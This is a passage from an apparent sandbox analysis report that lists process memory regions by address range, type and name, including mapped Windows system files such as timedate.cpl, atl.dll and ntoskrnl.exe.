end_va = 0x6d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4314 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4315 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4316 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4317 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4318 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4319 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4320 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4321 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4322 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4323 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4324 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4325 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4326 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4327 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4328 start_va = 0x7ffd44e30000 end_va = 0x7ffd44eb9fff monitored = 0 entry_point = 0x7ffd44e314f0 region_type = mapped_file name = "timedate.cpl" filename = "\\Windows\\System32\\timedate.cpl" (normalized: "c:\\windows\\system32\\timedate.cpl") Region: id = 4329 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4330 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4331 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4332 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4333 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4334 start_va = 0x11350000 end_va = 0x113cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011350000" filename = "" Region: id = 4335 start_va = 0x7ffd3d090000 end_va = 0x7ffd3d0adfff monitored = 0 entry_point = 0x7ffd3d093a40 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 4336 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4337 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4338 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4339 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4340 start_va = 0x7ffd409a0000 end_va = 0x7ffd40b52fff monitored = 0 entry_point = 0x7ffd40a09be0 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\System32\\dui70.dll" (normalized: "c:\\windows\\system32\\dui70.dll") Region: id = 4341 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4342 start_va = 0x440000 end_va = 0x441fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4343 start_va = 0x113d0000 end_va = 0x1144ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000113d0000" filename = "" Region: id = 4344 start_va = 0x430000 end_va = 0x435fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timedate.cpl.mui" filename = "\\Windows\\System32\\en-US\\timedate.cpl.mui" (normalized: "c:\\windows\\system32\\en-us\\timedate.cpl.mui") Region: id = 4345 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4346 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4347 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4348 start_va = 0x11cd0000 end_va = 0x121c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000011cd0000" filename = "" Region: id = 4349 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4350 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4351 start_va = 0x6d0000 end_va = 0x6d2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4352 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4353 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4354 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4355 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4356 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4357 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4358 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4359 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4360 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4361 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4362 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4363 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4364 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4365 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4366 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4367 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4368 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4369 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4370 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4371 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4372 start_va = 0x450000 end_va = 0x452fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4373 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4374 start_va = 0x126d0000 end_va = 0x12bc1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000126d0000" filename = "" Region: id = 4375 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4376 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4377 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4378 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4379 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4380 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4381 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4382 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4383 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4384 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4385 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4386 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4387 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4388 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4389 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4390 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4391 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4392 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4393 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4394 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4395 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4396 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4397 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4398 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4399 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4400 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4401 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4402 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4403 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4404 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4405 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4406 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4407 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4408 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4409 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4410 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4411 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4412 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4413 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4414 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4415 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4416 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4417 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4418 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4419 start_va = 0x6d0000 end_va = 0x6d1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4420 start_va = 0x2380000 end_va = 0x23a1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4421 start_va = 0x4320000 end_va = 0x433dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004320000" filename = "" Region: id = 4422 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4423 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4424 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4425 start_va = 0x7ffd3afb0000 end_va = 0x7ffd3b063fff monitored = 0 entry_point = 0x7ffd3afc53b0 region_type = mapped_file name = "windows.internal.shell.broker.dll" filename = "\\Windows\\System32\\Windows.Internal.Shell.Broker.dll" (normalized: "c:\\windows\\system32\\windows.internal.shell.broker.dll") Region: id = 4426 start_va = 0x7ff6a4680000 end_va = 0x7ff6a4e4bfff monitored = 0 entry_point = 0x7ff6a4a19010 region_type = mapped_file name = "ntoskrnl.exe" filename = "\\Windows\\System32\\ntoskrnl.exe" (normalized: "c:\\windows\\system32\\ntoskrnl.exe") Region: id = 4427 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4428 start_va = 0x4320000 end_va = 0x433dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004320000" filename = "" Region: id = 4429 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4430 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4431 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4432 start_va = 0x4320000 end_va = 0x433dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004320000" filename = "" Region: id = 4433 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4434 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4435 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4436 start_va = 0x4320000 end_va = 0x433dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004320000" filename = "" Region: id = 4437 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4438 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4439 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4440 start_va = 0x4320000 end_va = 0x433dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004320000" filename = "" Region: id = 4441 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4442 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4443 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4444 start_va = 0x4320000 end_va = 0x433dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004320000" filename = "" Region: id = 4445 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4446 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4447 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4448 start_va = 0x4320000 end_va = 0x433dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004320000" filename = "" Region: id = 4449 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4450 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4451 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4452 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4453 start_va = 0x4320000 end_va = 0x433dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004320000" filename = "" Region: id = 4454 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4455 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4456 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4457 start_va = 0x4320000 end_va = 0x433dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004320000" filename = "" Region: id = 4458 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4459 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4460 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4461 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4462 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4463 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4464 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4465 start_va = 0x6d0000 end_va = 0x6d2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4466 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4467 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4468 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4469 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4470 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4471 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4472 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4473 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4474 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4475 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4476 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4477 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4478 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4479 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4480 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4481 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4482 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4483 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4484 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4485 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4486 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4487 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4488 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4489 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4490 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4491 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4492 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4498 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4499 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4500 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4501 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4504 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4505 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4506 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4507 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4508 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4509 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4510 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4511 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4516 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4517 start_va = 0x2380000 end_va = 